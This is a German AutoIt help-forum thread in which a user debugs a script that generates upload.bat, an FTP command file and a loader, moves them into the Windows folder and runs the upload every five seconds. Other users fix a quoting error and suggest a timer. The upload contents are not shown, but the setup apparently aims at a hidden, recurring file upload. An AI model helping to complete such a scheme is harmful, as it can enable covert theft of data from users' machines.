Bekomme einen Fehler bei FileOpen -> Das müsst ihr wissen^^

Holywater

Hi Leute
Will mir ein File mit folgenden Inhalt erstellen lassen :

Code

$file = FileOpen("start.txt", 1)


; Check if file opened for writing OK
If $file = -1 Then
	MsgBox(0, "Error", "Unable to open file.")
	Exit
EndIf


FileWrite($file, "While 1"& @CRLF)
FileWrite($file, "Sleep(5000)" & @CRLF)
FileWrite($file, "run("upload.bat", @windowsdir) "& @CRLF)
FileWrite($file, "WEnd 1"& @CRLF)




FileClose($file)

Alles anzeigen

So wenn ich das jetzt starte bekomm ich "Line12" Error Missing seperator character after keyword.

Ich suche echt schon seit STUNDEN nach der Lösung.
Bitte helft mir

-Holywater

TheShadowAE

FileWrite($file, "run("upload.bat", @windowsdir) "& @CRLF)

Mit einem IDE sieht man, dass upload.bat nicht als String ist, mach es so:

FileWrite($file, 'run("upload.bat", @windowsdir) '& @CRLF)

Holywater

Bam !
Danke man
Ok.
Kann mir jetz jemand bitte schnell den Code geben,wie ich die upload.bat.die im Windows Ordner liegtvom ordner in dem ich grade bin ( Ordner nicht bekannt ) aus starte?
Verzweifle daran auch schon die ganze zeit

TheShadowAE

[autoit]

Run
Shellexecute

[/autoit]

EDIT:
Ich lgaube jetzt erst verstanden,
versuch mit ShellExecute, ansonsten frag nochmal

Holywater

So gehts

Code

While 1
Sleep(5000)
run("upload.bat", @windowsdir) 
WEnd

Nun das nächste problem...
Wenn ich das in meinen Skript packe,dann bleibt es hängen das script..Also es geht nur bis da und nicht weiter danach,läuft zwar das script aber macht die funktionen die danach kommen nicht mehr...

Es soll hier irgendwo zwicehn :

Code

;erstellt die startbat.txt


FileWrite($file, "While 1"& @CRLF)
FileWrite($file, "Sleep(5000)" & @CRLF)
FileWrite($file, 'run("upload.bat", @windowsdir) '& @CRLF) 
FileWrite($file, "WEnd 1"& @CRLF)




EndIf
; benennt beide Files um
FileMove("upload.txt",  "upload.bat")
FileMove("daten.txt",  "daten.ftp")
FileMove("startbat.txt",  "startbat.exe")


; verschiebt files im windows ordner
sleep(50)
filemove(@scriptdir & "\daten.ftp", @windowsdir)
sleep(50)
filemove(@scriptdir & "\upload.bat", @windowsdir)
sleep(50)
filemove(@scriptdir & "\startbat.exe", @windowsdir)

Alles anzeigen

Also alle 5 Sekunden soll die upload.bat geöffnet werden,aber der rest des Skripts trotzdem weiter laufen

Jemand ne lösung?
Wäre echt dankbar...

FichteFoll

Ich bin mir nicht sicher, ob ich es verstanden habe, aber ich würde es so machen

[autoit]

Func _StartUploadDat()
Run("upload.bat", @WindowsDir)
EndFunc

[/autoit][autoit][/autoit][autoit]

AdlibRegister("_StartUploadDat", 5000)

[/autoit]

Dann brauchst du auch die "startbat.txt" nicht mehr.
Übrigens: Wenn du eine Datei umbenennst heißt das nicht automatisch, dass die Datei dann auch funktioniert.
Eine von ".txt" zu ".exe" umbenannte Datei wird nicht starten.